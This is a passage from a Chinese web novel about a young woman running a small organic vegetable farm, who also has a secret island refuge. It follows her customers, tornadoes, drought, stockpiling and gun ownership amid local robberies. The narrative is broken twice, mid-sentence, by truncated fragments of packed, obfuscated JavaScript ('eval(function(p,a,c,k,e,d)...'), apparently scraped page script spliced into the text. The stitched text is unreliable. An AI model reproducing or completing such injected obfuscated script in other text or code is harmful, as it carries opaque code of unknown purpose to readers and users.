买种子的时候没有认真考虑日照时长问题,因此有些长得不好。好在有了网络,虽然现在网上内容很少,但还是能在一批大学网站还有种子和农业企业官网等搜到些知识的。真可惜现在没有谷歌没有度娘百科更没有深度搜索,不然搜起来多快啊! 书店和图书馆里她很难找到对路的书。不过,好像有网上卖书了?或者现在还没开张?真是郁闷……打完电话,开车去六十多公里外的大型超市。 种着蔬菜大棚的养猪场主人去买蔬菜和猪肉,真是有够讽刺的。她顺便补了一批战略库存包括饮用水和泡面,以及之前没敢多买的各国调味料,还去镇上的店铺买了些可以保存个两三年的火腿肉。对了,还有煤和煤炉,得打电话订货。 嗯,本州特产,似乎是旱灾?她现在都是用的农业用水,再说打水井的许可挺难拿到、成本也不低。那么,再多买些水盆和推车之类的,省得岛上雨水太多植物难以生存的时候,现实里没水用。另外,她自己喝的水、以及做饭要吃进肚子的都是饮用级的水,虽然贵一些,但健康。 * * * “苏茜,亲爱的!这些菜看起来很漂亮!对了,我就要这种没有完全长成的,这样用起来更方便。”两个女人在用自来水洗了洗生吃了几片生菜后,威妮就立刻下单。苏茜给的价格比超市的有机生菜便宜还管送货,最关键的是现场从土里挖出来带走! 威妮先是跟苏茜一起吃了顿意大利肉酱面配沙拉。沙拉有一半是自种的,切成丝加奶酪和油醋汁烤三分钟拿出来,居然挺好吃的。肉酱则是苏茜自制的,同样是她自种的不太有卖相的蔬菜加牛肉搅成末与去皮西红柿和香料一起做的。她做一次酱大概有近三公斤,一部分这两天吃掉,其他的冷冻起来到时送达亚娜尝尝。 “这个肉酱吃起来不错,你是怎么做的?”威妮是做餐饮的,当然对口味敏感。 苏茜把做法配料都告诉她。“主要是有什么放什么,这样省钱。” “太赞成了。”威妮对苏茜说的那些东方香料很感兴趣。但不同语系的不同读音让她头大。“你能不能做了卖给我?” “也行。要不你时不时过来试吃?” “真的?!” “真的。” “哦!天堂!我会带酒过来的。” “便宜的酒就可以了。不过啤酒要用纯麦酿的,不要调味。我做菜用。” “真高兴你懂那么多做菜方法,哦,不,烹饪艺术。”作为同专业的学姐,威妮虽然也属于成绩优秀那一挂,但是与苏茜的广博完全不是一个路子。 两个吃得有些撑的人相视而笑。 苏茜煮了刮油的浓黑乌龙,但有冰糖和玫瑰花薄荷草玉米须调节口味。威妮瞪着壶里奇奇怪怪的一堆配料,还有用茶滤过滤后黑乎乎的茶水,犹豫几秒,鼓足勇气抿了一小口温热的水,结果发现口感还不错? “好像不难喝。” “那是当然。吃得多就喝这类黑乌龙,有助于减少便秘,但这茶不能减肥。”庆祝一下,这是砸下几乎所有财产购买改造养猪场后的第一笔生意,不大,但细水长流。 威妮留下一瓶不错的红葡萄酒作为礼物,然后带着能卖两天的带泥生菜走了。至于她会不会去检测之类,苏茜表示非常欢迎。 第二个客人是之前她实习打工过的餐厅老板。价格跟超市普通生菜差不多的有机生菜,不买是白痴!当然除了采购,他还跟苏茜一起研究了下新菜单,作为回报他送了些牛肉和地中海风格调料,丰富她的冰箱和调料柜子。 加上自己吃的和送给达亚娜的,第一批菜在半个月内就吃得差不多了。好在威妮来取货的时候,下一岔生菜已经有巴掌大,正好威妮立刻用。由此苏茜掌握了种植的节奏:不能一口气种下,不然多的时候吃不完、少的时候没得卖。 草莓可以吃了。 但还是这个问题。头一次没有掌握节奏,同时成熟的果子太多! “我帮你做果酱吧。”威妮望着估计超过十公斤的草莓呆了会儿才道。言下之意别忘记用果子和果酱作为报酬。 “非常非常感谢!”而且这批草莓因为营养一般、种子也一般,卖相和口感都很普通,不算太好吃,当然作为普通水果还是合格的。 威妮就吃得很开心,甚至午餐都是微甜但不齁的草莓蛋挞饼。超市里一来不可能有如此新鲜的有机水果,二来有机草莓一公斤七八块左右根本不便宜,而好吃的有机草莓她也不想费钱去买。两人干了几个小时,才将大部分草莓都做成果酱。威妮带走一堆玻璃瓶装草莓果酱,重得她差点抱不到车后座,再加上几十公斤的菜连包装,感觉轮胎都稍微瘪下去了一点点。 …… 大棚其实并不是很大,建筑搞不好还是一战时期弄的。很多水泥空地都是用来停车、准备饲料,别说东一块西一片的铁皮棚草堆猪舍,房子和工人宿舍更是乱七八糟没有规划,而且宿舍都是没有地基的违建水平。没有水泥的几十块杂草地也就是苏茜买下来后才处理的,因为压根无法用农机,她只能用了一桶除草剂,然后种上了些最便宜的枫树苗。今冬是看不到红叶的。 以前这家养猪场的面积利用率不高,因为劳动力和饲养技术的限制,最高峰也就养了两三百头瘦肉猪,母猪的管理照看也非常不怎么样、猪仔还经常死掉,在这个时代确实经营不下去了。 仔细看过一间间没用的空屋,苏茜果断找公司将工人房全拆了,还手续齐全地付了垃圾清理费用,然后房产文件上只剩下主人屋是居住用房,其他则是养猪场改建的蔬菜大棚、仓库、实验室等等,总体上她明年开始只需要交不到一千的地税,比市区那间阁楼的房租便宜多了。 各种小屋则是要慢慢改为水培蔬菜种植实验室。因为现在要稳定供应两个客户的新鲜菜就让不算大还被大量隔断和过道占了一半空间的大棚用得差不多了,最关键的是因为日光的关系无法立体种植。其他建筑如果不用起来,那么这个小种植场的产出也太寒碜了,是能让税务官侧目的那种。 冬天的广袤平原,寒风吹起来一点也不含糊。好在煤还算便宜,稳定卖蔬菜和翻译件的收入比之前打零工的时候多不少,种大棚菜的保险金也比养猪低得多。唯一让人遗憾的是,不当学生了,社保、商业保险等等的花费翻了一倍。 而至于安全问题,达亚娜在看过她能用廉价版的轻型半自动打中三十米靶子后就表示很放心,至于只有八环那压根不是事,一梭子扫过去就证明主人火力足、脾气暴、敢杀人,不论小偷还是劫匪都会避开。 苏茜则表示,跟八百块的原版柯尔特比,仿版虽然射程和杀伤力都略差,但便宜啊!而且作为单身女性农场主,拿略差版本的隐蔽持木仓许可就更不是问题了。她现在注册的热武有三支,之前因为两支手木仓的子.弹型号各不相同、无法混用,于是她又买了一支能用相同.22的便宜货,没额外花大价钱买消音抑制器。 店老板很高兴,连测试打靶加一支热武,还有两位女士各自买的子.弹,是一笔不小的生意——达亚娜在获得合法身份后也办了证,有两支合法的武.器。 “苏茜,保护好自己。”她不想老了还去认孙辈的尸.体。 “我知道,放心,达亚娜。”只要不是上来就被爆头,她对自己还是挺有信心的。 但是碰到老天爷不给面子的时候,谁也没办法! 苏茜瞪着空中那个黑乎乎、快速旋转的玩意,差点没反应过来。 龙卷风?真的吗?那个东西,向自家飞过来,非常快! 她愣了大概半分钟,才转身跑向房子,然后半途躲到自己岛上。 天啊,龙卷风!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没事,她有得是时间和实验场地,包括普通蔬菜的种子批发价并不高,足够实验用。而平时卖的菜都是营养土培育的,最大的优点就是便宜,她又是不为了赚大钱的,所以价格是比照超市里同等普通蔬菜再加一点点的那种,还可以让买家当场自己收割。所以陆陆续续周围一百公里内不少餐厅都来采购她的生菜和草莓,给顾客的宣传是当天早上从有机蔬菜大棚里收割的,起码能多卖二十五分。 “……是的,我看着那个黑黑的东西半分钟才跑回屋子。还好没有直接经过房子,不然窗玻璃就会破碎。其实我还是挺高兴的,有一个非常破旧的棚子,拆掉浪费钱、不拆又看着不顺眼,现在直接被龙卷风拔掉还省了垃圾清运费。不过镇子上有一栋房子毁坏地很严重,半间屋子都报废了。”这场龙卷风直接导致苏茜不敢买真正的塑料大棚,因为如果不幸碰到龙卷风就可能损失惨重。她除了永久和非永久建筑物的意外保险,其他农业险都没投,所以干脆去买了三个旧集装箱,其中一个放岛上,其他的作为水培基地——真没听说本地的龙卷风能吹跑装了东西的集装箱,所以她将两个集装箱并排放在水泥空地上,出于可能搬动的考虑没有用地钉之类的固定工具。 集装箱里面则是贴了反光膜,拉了电线用来给两层的种植架子照明。之前的几个月她已经试验了好些方法,水培营养液虽然一直不理想,但土培她在行啊!不就是多加一个灭菌工序嘛!尤其是在一个铁皮棚子里培育出卖相不佳、但切成薄片后口感“正常”的姬松茸后,令她信心大增。一棵姬松茸比一颗生菜占地小、价格高,单个客户销量不大,尤其适合她这种迷你农场培育方式。 她在自制烤架上烤了好容易学会出海钓鱼后钓上的半大海鱼、一只倒霉的小鱿鱼是被补刀渔网弄上来的、一堆贝壳和洗净切片的姬松茸,再抹点柠檬蒜泥,看哪个熟了就晾一会吃,烤架最角落还有铁壶煮的烤玫瑰薄荷奶茶,一边看着屋外的雨景。 全部吃完,厨余扔海里,躺木屋里享受凉爽的夏日夜晚。自己农场屋子里的空调噪音很大,睡觉开着嫌吵,不开嫌热。她暂时没打算换新的,所以在电风扇也没法解决燥热的晚上直接去岛上睡觉。 等上午顾客上门取货的时候,苏茜才听到一个让她瞠目的消息:昨晚有外地持木仓劫匪打劫了一个半农场,嗯,不过被农场主的儿子爆头了。被劫的农场在她家几十公里的地方。 “苏茜,你要不要做一些安全防范措施,比如拉个电网和警报器什么的。”中午的时候,威妮看到新闻后打电话过来。有趣的是,镇上的外祖母还有几个客户都没有担心的意思。说实话,本地很少有抢劫之类恶行案件,纯粹是人均持木仓率在一个很可怕的水平。 “放心,我有木仓,三支,还有两百发子.弹,足够向劫匪显示我的决心了。最重要的是我没钱。打劫我除了重伤或是没命,一点好处也没有。” “……那就好!” “对了,这几天你可以来尝尝我种的蓝莓和蓝莓汁,昨天我吃掉不少,还榨了汁。这个果汁不能放太久的。” “我要来!我要来!可以做成果酱吗?” “你做,你带走,留一半给我就行。啊,还有果酱瓶子也归你。” “太感谢了!”新鲜有机蓝莓酱,又是个卖点不是吗?她的有机草莓食品一直很受欢迎,总是很快就卖光,蓝莓肯定也一样。 放下电话,苏茜开始写购物清单,顺便考虑要不要买部手机。现在的手机实在没别的用处还贵,跟慢吞吞的电脑和网络一样,让人一点消费欲都没有。对了,该买件羽绒服和新的绒衫绒裤了,再来一身冲锋衣裤和雪地靴,外加一双雨靴,羊毛袜子也要买了,如果有打折寝具也可以再买些。 她从来不戴任何首饰,之前天天跟农机猪粪打交道,每天要么念书考试要么干活赚钱,现在更是自制牛粪土肥种菜。嗯,她在不受男孩子欢迎方面小有名气,不少年轻男女暗搓搓说她身上有臭味,不过由于年轻人本来就数量不多,单身的更少,所以苏茜其实是真没法找伴,也没有兴趣找,因为不想暴露自己的小岛,哪怕只是个荒岛。 不过有件事她没说实话,她的不少现金都是清洁消毒后安按年份真空收纳到山洞里,还特意兑换了一些别的货币,另外就是毫无特色的黄金饰品也陆续买了些放着备用。她甚至还跟一位老家来的留学生换了些十年前发行的老家货币作为“收藏品”,可惜那位毕业后辗转去了西部的常青藤大学念书,将大好的亚洲语言翻译工作留给她。 “天啊,你到底会多少外语。”威妮看着天书一样的文字,半肚子的蓝莓汁化作全脑袋的惊讶。 “能做翻译的并不多。也就是四种吧。”用电脑的唯一好处就是她终于装上了阿语、西语和华语打字软件,可是不知道啥原因,愣是找不到日语的。最近一段时间她接了好几个日语的随同翻译,兴许是她的欧洲长相、英式口音和带有明显日式礼仪的四十度鞠躬,以及没有攻击力的清秀相貌和学历,让双方客人都非常满意,基本上公司碰到的翻译活都找她,酬劳也是接近顶格的那种,日裔华裔的出场都没有她的高,收入跟卖菜的净收入差不多了。行吧,日语笔译的活接不到就接不到,无所谓。不过说实话,老家那边的人听到她的华语口音,那眼睛都亮得跟灯泡一样,拉着她不肯松开。 “四种!天啊,想想我那可怜的法语,到现在也只能点菜。” “我的法语也不怎么样。”口音还很乡下,有一次她干脆用中东腔的法语去交流,效果反而好一些。“还有,巴黎那儿的治安对你这样的漂亮美国妞儿并不友好,还是别去了。尤其东欧去了很多人,专门干违法的事还没人管。” “我知道,反正我也不是做法国大餐的料。你知道吗,我之前碰到的一个法国大厨直接说女人做不好大餐。我那时差点找律师告他性别歧视!” “又不是你的老板,告了也没钱拿。” “……好吧。” 5. 开局一荒岛(五) “法律!必须出台法律!” “那么谁出钱?或者说哪块预算?你能争得过军火公司还是雇佣军公司?” “……” “……” 在酒吧里,中老年男人最偏爱的就是与自己利益相关的政治话题,而年轻些的男女们更倾向娱乐。但在解决干旱、河堤这些问题的时候,大家又都会一起激动起来。 干旱这玩意,平均二十年一回。 达亚娜很少来酒吧,理由是浪费钱。 苏茜更是从没在镇上酒吧消费过,理由同上。 全镇的人都知道,祖孙两个不穷,但也不宽裕。 “达亚娜,你孙女在种菜吧?受影响吗?” “她没说。不过我知道她都是检测了土壤含水量、需要的时候再浇水,所以用水比较少,倒是用电比较多。她又不敢用太阳能,怕被龙卷风吹掉。” 达亚娜是和搬走后两年没见的老朋友见面聊天才去的酒吧。下午的酒吧里没什么人喝酒,倒有几个看比赛节目喝啤酒吃东西的人,多数是老头。 “确实,三级龙卷风都足够把脆弱的太阳能板吹走了。” “我真担心限制农业用水。” “上次大旱灾距离限制有十二年了吧?” “那次西部特别严重。我们这里,还记得吗,还要早一年。” “今年四月到现在才下了几场雨?” “两回。其中一次河水水位上升很多,大家还担心了一阵。” “你说今年会干旱吗?” “我觉得不会特别严重。州长前天也讲话了,说下周可能会下雨。” “你居然相信那家伙的扯淡?!” 新一轮争执又起。 “达亚娜,我们这里好像没有过特别严重的干旱吧?” “过几年就会缺水,偶然又洪水泛滥。其他还好。我觉得没有什么特别大的灾难。” …… 二十公里外,苏茜面无表情地看着农场里蒸发了一个白天才获得的半升淡水——要是在岛上,大概是一两。 还余下两个大半满桶的海水呢! 一天时间,两桶海水和玻璃罩、水壶等等简易装置,就得到半升淡水。所以,用日晒蒸发获得淡水仅仅只能是应急。她至今没有安装太阳能,一是怕来个龙卷风血本无归,二是春夏秋三季她都是将底层的种植箱搬出来晒太阳来解决日照问题,到了冬天太阳能没啥用,直接用交流电,停电则有柴油发电机。汽油柴油桶她都是储存在地下小仓库,地下大仓库则是放种子粮食之类。 记得似乎有种化纤棉,可以快速吸水、饱和了就滴水来着?然后用太阳能或风能小电扇让化纤棉布加快滴水的过程。可惜任何文献都没有这类资料。 看样子是吸热面积的问题。她可以用比较浅的大水槽来蒸发海水,来个二十平米,自己在农场个人用的淡水应该够了。雨水池和桶里的水大概可以对付日常浇水的六七成,那么干旱对自己影响不会大。 她又买了一批塑料浅盆,一半放在岛上接雨水,一半盛了海水出来在农场里充足的阳光底下蒸发。有人好奇,她一句发酵试验就足以让人离得远远的。 发酵实验其实一直在做,营养液成本是苏茜的心头大患。种菜平时也需要添加营养液,水培更是离不开。如果购买成品,那么她只是个旱涝不保收的粗加工车间,厂商对小买家都是卡着能接受的最上限价格来卖,搞不好最后辛苦种菜的所有收益都成了人家研发投入的回报率,而且还有一个更坑的超市收购环节。还是那句,没有老家厂商的加入,她这种小本生意被大公司当韭菜割的情况就不会好转。 接下来的半个月,只下了一场雨。 苏茜的日晒海水装置每天收集到的淡水加上岛上收集的雨水,基本可以灌溉大棚菜和日常用水。河水日渐干涸,有的地下水渠水量减少。另外,水里的硝酸盐指标说明家用自来水其实不怎么适合饮用了,除非用离子交换剂之类。 州里已经在宣传旱灾了。 不过两天后,开始下雨。这雨一下就是陆陆续续好几天,大家差点以为要洪灾!好在最后雨停了,土地里的作物最终能收获一大半。 可不少地方还是受了损失。 “这该死的天气!”农场主拿了现金,挥手让苏茜开着租来的货车拉走堆着的部分秸秆——她是想都拉走的,但吃不下这么多。可惜货车主绝对不允许她用自家车子去拉牛粪,她也没想过用别人的车,而是直接开一辆二手皮卡应付牛粪,自然会一路“稍稍”播撒一些不那么协调的气味,因而绝对不会碰到搭车和冒充搭车的抢劫之类。 不过在回农场的路上,苏茜亲眼看见一场拿了手.木仓的抢劫,之所以这样判断是因为她认得被抢的那辆骚包敞篷车。所以她开着皮卡一路冲向那个劫匪。 就冲对方单手拿木仓、肚子凸出的样子,哪怕身高不错也是个废物。 果然,看见一辆车碾压向自己,那劫匪立刻跑向自己车——这是非职业惯犯的本能反应。苏茜跟上,被抢的车也跟上来。 “砰砰砰砰砰砰砰——”车主也是带着武.器的,这位还是个发烧友农场主家的小儿子,起码囤了十支热武.器,这次居然被一柄不到一百块的小破木仓威胁,简直气炸了。可惜这位木仓法也不佳,即使是个能左手开木仓的,但准头让人泪目,七发子.弹只给对方的车开了三个洞,对方什么事也没有地跑了。 镇上出现了今年第三起劫案。 “好的,他的车牌号是……证人,哦,苏茜是证人。” “对,范维兰特警官,我是苏茜-奥尔森,达亚娜的孙女,我作证,亲眼目睹。这家伙一开始还嚣张得要死。我车子开过来他就跑了……好的,我明天会来签字。” “你确定不是被你车子的味道熏跑的?” “哦,这里是下风口吗?” “……” “……” 报完警,敞篷车上的小子合上最新款的翻盖手机。那天线和黑白小屏看得苏茜眼睛疼——这就是她一直不高兴买手机的原因,多少年后的折叠屏卫星智能机也就是这个价格了。 “谢谢你苏茜,不过我们就不握手拥抱了。”他急急忙忙挥手道别,哦,这个角度正好是扑鼻的牛粪味。听说牛粪可比猪粪的味道好多了!幸好他家不养猪……赶紧走赶紧走。“下回来买你家的菜,顺便送你礼物——” 苏茜摆摆手,上车。她一直戴着口罩呢,嘻嘻。 * * * 今天的苏茜一身工装加长款夹棉冲锋衣,带着寒气抱着两个摞在一起的简易包装盒子进来。 “莫妮,你要的蓝莓和甘蓝。” “谢谢!苏茜!”苏茜的经营很灵活,她有空的时候可以送小批量货不收费,只要加上汽油费别让她亏钱。“要喝杯热葡萄酒吗?” “不了,谢谢。我还有菜带给达亚娜,然后得开车回去。” “好吧,今晚可能下雪,你早点回去。”这姑娘不占外祖母的便宜,还经常照顾老太太,这让镇上的中老年妇人们都非常欣赏,包括莫妮,能从苏茜这里买东西也尽量买,毕竟对健康有好处又没有贵多少。 苏茜送完立刻去达亚娜家。她不光送了些蔬菜水果,还用她早就眼巴巴准备好的猪肉炖了一锅莲藕排骨,将烤猪蹄送进烤箱,不过没有等能吃,就带了达亚娜从养猪场直接买的没人要的猪蹄和猪肝猪心这些回自己家监测温度。 感谢自己买肉的养猪场都会阉公猪,不然…… 顺便感慨下,终于弄到可以种植的莲藕!真是感天动地的杰作。 煤炉便宜,却是很容易一氧化碳中毒的玩意。尤其是铁皮棚子换气和保暖效果根本没有,同时去年买的二手炉子并不密封,自己装的烟道一点用也没有。所以苏茜在飞车回来后,赶紧套上氧气面罩,检查了几样不能太热也不能受冻的蓝莓,带走煤灰又添了点煤。这个棚子大概可以收十几公斤蓝莓,能在圣诞节卖得不错。 再查看一圈其他的大棚,苏茜放下心。外面的雪开始积起来,她哆哆嗦嗦回到房子里开空调。可惜,等了五分钟没见热气,可能是老旧空调又出问题了。家里又没有囤多少壁炉用木料,所以她抬脚回岛。 岛上即使是海边,风呼呼地吹都比农场屋子里高二十华氏度,再点燃木屋取暖炉里的煤,同时将冰箱里拿出来的不锈钢小锅和小茶壶都放在炉子上。再去现实屋子里打开冰箱,取了蓝莓蛋挞赶紧回岛,直接用烤箱纸垫着放在炉板的边边角。不一会,甜香飘出,可以吃了。 莲藕排骨在明火上要炖一个多小时,在隔了一层的炉板上起码两个小时。所以苏茜晚饭吃的是之前就吃掉一半、剩下一半冷藏的咖喱胡萝卜洋葱土豆鸡块,再加一棵没彻底长大的生菜和一小碗草莓,半小时就能吃完。 一个人吃饭的时候,她做一道菜会吃两顿。农场面积大,没人打扰她在岛上度假吃海鲜,但同时也没有外卖。如果不想整天吃同样口味的甜面包配速溶咖啡,那还是老老实实自己弄吃的。 今天份的甘蓝纤维粉不能忘记。前几年为了躲避外头的乱糟糟,苏茜曾经连续一周吃面饼,结果导致的肠道问题虽然不是病可也挺要命。自此她每天都会研究下摄入的膳食纤维够不够,除了直接吃膳食纤维粉,甚至还会用极小剂量泻药。另外,本州气候四季分明,但常见的食物结构却很不怎么样,考虑到本地人的平均活动量,还是以脂肪、碳水的高热量组合为主,她自己生活必须平衡饮食。 火炉烧煤是因为岛上不适合种植,包括种树。而周边即使有林木也是私家森林,搞不好还是生态湿地,烧木头的价格可比烧煤贵多了。所以,她回农场放东西的时候又盯着已经比自己高了的枫树好一会。这树的树干部分连一米都不到,烧起来不行吧?这么多叶子只能做土肥,细枝没有燃烧价值,树干不劈就能直接放炉子,可能一整棵树只够小木屋用一晚上。 但烧煤的话即使做饭烧水也就是一块钱左右,加上小岛冬季温度略高、木屋面积又小,寒冬睡木屋比在房子里用大功率取暖器划算得多,最多是加一道洗刷马桶的工序。可想到距离卧室有点距离还没有浴霸的卫生间——虽然是两卫,但一间小得只有洗衣机和洗脸池,另一间有淋浴和浴缸但其实是后来为主人和工人们而建的,窗户墙壁都不行还跟主建筑不直接相连,冬天需要用取暖器才不至于感冒——老夫妇就是用了一只热风器,那噪音绝对让人没心情泡澡。要不开春的时候再种点桉树之类的?橡树不要提,那个虽然木质好、特别耐烧,可长得特别慢啊!难道等她死了被不知道哪个糟心的远亲继承现成好木料吗?! 岛上唯一不好的是经常有风雨。 她自己弄的屋门又坏了,还差点被风吹跑。算了,将木门收到屋子里,无视时不时打进来的雨点,苏茜打着哈欠在火炉里加了两块煤,又将进风口开大一些,钻进被子继续睡。明天记得提前再买一车煤回来。 今年的一月份好像特别冷。 苏茜一边怀念羊羔绒裤一边套了两条卫裤再塞进牛仔裤,正好穿进去。 之前的雪都化掉了,但天气预报说后天又会下雪。 她凌晨就起来,将可以收割菜和水果全部收齐,然后开着皮卡给几个固定客户送了一圈的菜。因为她冬季大早上送货,所以客户们给了相当符合季节和服务的价格,只除了要求她拉完牛粪后务必清洗干净,不能让菜沾上异味。对此苏茜直翻白眼,她拉有异味的货的时候都是垫了一层雨布再加大型特厚垃圾袋的,雨布也是先在海水里漂洗、再用雨水冲刷、最后消毒液里浸泡后晾干的,出现裂缝破洞就立刻更换的那种。 她懒得浪费钱买厢式货车,就这么点出产,再多的货拉上露营车就都能解决。 很多人在新年前的打折季囤了一堆酒度过没太多活计干的冬天,而苏茜则囤了不少可以放两年以上的罐头、消毒、医疗还有汽油柴油。就是没有煤。 想到就做。送完货,加满油,她一脚油门开去隔壁州买无烟煤。要不再买些煤油和煤油炉?还是煤油灯?现在这个国家有煤油灯这种玩意吗? 最后她买到了一吨煤,但没有煤油。这是完全不同的两种东西,也不知道上哪去买。倒是她顺手买到了小型卡式炉,这个比烧柴的便捷且温度高,多买点迷你煤气罐就行了,唯一要小心别引起火灾。所以买到的煤气罐她都放岛上而不是和燃煤放在一起。 唯一让人愉快的是她跑去当地华人聚居的商业街买了一大堆的东西,包括价格还可以的木门加配件:同样放岛上,不然都连后座都堆满也放不下,哦,还有当收藏品的老家货币——她甚至还看到了全国粮票这玩意,着实愣了会儿才想起来其作用,于是一起当作收藏品买下来。 回程路上,加油站的人看了眼她拉的货,转过头——真够败家的,这么远的路,就拉一车不值钱的煤,搞不好连汽油费都不够。 回本州时就开始下雪了。到农场的时候,路况已不怎么好。等重新费力安装好木屋的门都到凌晨收割的时间。所以也别睡了,吃点东西去干活! 从差不多华氏70度的小屋里一下子跑到大概只有10度的房子里,哪怕是刻意加了长羽绒、卫裤绒裤,也把苏茜给冻得哆嗦。幸好现在都是她自己送货了,所以没客人,不需要浪费开两个取暖器的钱了。 她冲去近60度的大棚里,换上耐脏的冲锋衣,收蔬菜水果。出门前在冲锋衣里头再套件薄羽绒,然后将车库里的皮卡开出来一边发动升温,一边冒雪装货。最后盖上雨布,用搭扣扣紧,去送货。 好在今天不需要去得城,就在附近,一个半小时就都搞定。然后回去睡觉。她真是太明智了,木屋里的火炉一直没有灭,只有一块煤用小火慢慢烧着,即使木门漏风,但室内温度保持60华氏度以上——室外是50度,与农场室外不是一个季节。 苏茜补眠四个小时才醒,然后用意大利面、自制肉酱和自种蔬菜对付了一顿,回去翻翻来电显示,记录下收支和采摘文档,又种下两箱菜种子、换掉暖炉里的煤,烤个铺了一层草莓、一层蓝莓和半层鸡蛋的薄饼当晚饭,再在与卧室相连的起居室放好煤炉,最后去温暖如春的木屋睡觉。只需要盖一层被子的冬天还是挺舒服的。至于打洞装烟囱的事还是明天送完得城的货、去趟银行将几张支票入账后再说。 煤都是好煤,所以煤灰从来不需要付额外的垃圾费用,而是直接用在大棚里。她的蔬菜没有浪费钱做认证,但检测的事情一直在自己做。事实证明这些煤灰的有.毒.物质在安全范围内,所以配合土肥效果还可以,种完几茬蔬果后的次等土还倒在岛上补充被雨水冲刷掉的贫瘠土壤,不过即使种个三十年大棚所淘汰的次等土也不够改善全岛的土质,所以她都倒在自种植物的那块区域,另外再多固定些收集雨水的浅口塑料盆,既不会破坏土地又不会轻易被风吹跑。 虽然煤灰可以做水泥的原料,但她并不想在岛上弄太多半永久性的东西,因为不管是啥,百年后都是废墟,而水泥这种东西拆掉还浪费力气和可怜的电力。 倒是那发电机,可以测试下与防腐木和微波炉相比哪个先完蛋。 “嘿,苏茜,你买那么多矿泉水干嘛?”还特意去批发商那里拉货,难道她要开店? “不,我就是买来囤着的。你忘了前年水灾?” “啊?不是说五十年一次的水灾吗?” “那就干旱的时候用。反正总能喝掉用掉的。” “……你总是对的。”邻居看着苏茜的车远去,决定自己也去囤一箱。 山洞里的水以及一堆物资快到期了,得吃掉用完再换一批新鲜日期的。至于泡面和压缩饼干,加在炖鸡肉或是燕麦粥里消耗掉就行了。 每天这样忙着,包括在农场里的少许空地种了旱柳,又在自己岛上又种了十几棵杉树苗和桉树苗,甚至还有两棵据说自授粉的苹果树——即使结不了果,木头也能砍了用。顺便说一句,种树是一种重体力活。以苏茜拼命干活锻炼出来的体力,都花了一周才弄好。 然后,不幸的是,从她种下树苗开始,这片平原大半个月都没下雨。春季缺水真的很糟糕。镇上酒吧里的男人们开始在下午聚会的时候忧心忡忡。 而苏茜则又开始用太阳光晒海水获取淡水,顺便再买两个冰柜,两台落地扇和一批过滤水壶滤芯。全部是自己取货回来的那种。 整整四十天不下雨,农场主们开始焦虑的时候,天气又正常了。河水开始回到正常水位,地下水也在缓慢补充。不过这些跟苏茜没多大关系。 她正在准备一项“伟大”的试验:超迷你风力太阳能储能电池。其实这是原来认识的同学,后来又去读了硕士、现在回来当助教的创造,可惜没人理会。苏茜用两大瓶蓝莓汁和一大瓶有一点点防脱发作用的精油将之买下来,外加个铸铁壳子,放岛上靠近海边风比较大的地方。 不能用也就是损失一两百块。她现在的护肤品全部是自己做的,玫瑰、天竺葵和茉莉精油加入荷荷巴油,配合进口的纯露,全身都能用,白天最多加个防晒,还有大罐装洗面乳,一年花不了五十块。 邮局邮箱里的一堆账单,广告信,推销杂志。 没了。 总算没有什么末日教的召集信。 “你相信末日论吗?”一个看起来就有问题的家伙见人就拉。 “一百年后吧,地球上的人可能会大批饿死。反正我是看不到的。”苏茜表示有可能这是真的,因为她不知道。“不过你如果向我推销末日论,叫我捐出所有财产,我会劈开你的头盖骨让你冷却一下发热膨胀的脑子。” 她挥了挥刚买的不锈钢斧,给了对方一个恶意满满的微笑。 “……” 去酒吧和餐厅送完货,她碰到副警长。“……这人看上去就应该送精神病院。我觉得大家应该在车里准备好武.器。冷武.器也是好的。” “苏茜,你这个暴力家伙,不过你讲得很对!”路过的桑伊大声附和。镇上只有个小教堂,苏茜以碰到过教堂爆炸心里有阴影为由从来不去,不过她对外称信新教。上一任牧师退休了,新的还没来,但这一点也不影响农场里干活的人对精神有问题的家伙的警惕。 可能是各个碰壁包括老人和女人,之后就再没见到这人了。 不过不久后听说有邪教的人因为犯下这样那样的罪名被抓了,其中最“严重”的当然是没交税。镇上传了一阵也就过去了。 大家开始忧虑起旱情。 前年稍微有些干,去年非常正常,而今年就不对了。一场春雪和几场春雨之后,就再没下过雨。十天内的天气预报也都没有雨。 苏茜本人的农场用水是没什么问题的,包括在浴缸里泡个澡也很方便,因为她用的水确实很少,何况大家都认为只要用自来水给她那一年都产不了三四吨的蔬菜水果浇水就够了,最多就是花的水费多一点。她最近搞来了塑封机,正在将山洞里收藏的纸钞以及其他不耐存放的东西清洁、晾干、消毒、塑封后再收纳。至于前段时间买的素面简洁款纯黄金饰品和少量金条,放几千年也不会坏。 “今年的收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五分钟后,咖啡做好了,倒进从消毒柜里拿出的两只大号咖啡杯里,再将牛奶和方糖拿在小桌上。苏茜自己则是清咖。“我用的豆子是阿拉比卡和曼特宁混合的,不是很好的品种,但因为我喜欢酸度低和中度烘焙的,普通咖啡机做出来味道可能不够浓烈,不过虹吸壶做出来的会好一点。” “哦!”直接喝用来浇菜的水!哪怕煮开也有点挑战自己的观感。不过苏茜自己喝,所以他也就喝了。先喝原味的,“味道不错呢!”酸苦味不重,滋味也算香醇。再加奶加糖,果然很美好! 种菜的人非常讲卫生,自己喝浇菜的水,杯子放消毒柜。虽然不化妆、马尾辫、穿工装裤的形象非常拉低颜值,但她卖的东西不错就够了,甚至都不需要去掉外面的老叶,全棵能用自来水冲一下就吃。 新客户买走了所有能买走的东西,甚至还帮忙一起收草莓,傍晚时装了一辆小货车走。 苏茜叹口气,赚钱的感觉真好,补足了镇上餐厅下降的订单量还有多。但很累人,睡前还要重新种上差不多十五个种植箱的数量。 亏得明早不需要送货,不然是真的会累死!摸了下自己的马尾辫,苏茜毅然自己剪短了些,省掉二十块理发钱。 秋收时,苏茜还是去缺人手的农场帮忙并且换取秸秆。今年旱情勉强还行,能有一半的收成,当然因为旱情范围不小,因此价格是提高了的。算上保险,绝大部分农场主都没有亏钱,可赚的并没达到理想金额。 “又一家农场要卖掉了,不知道新买家是什么样的人。”镇上人员过于稳定不是好事,但频繁变化让人有些担心会来个刺头整天搞事情。 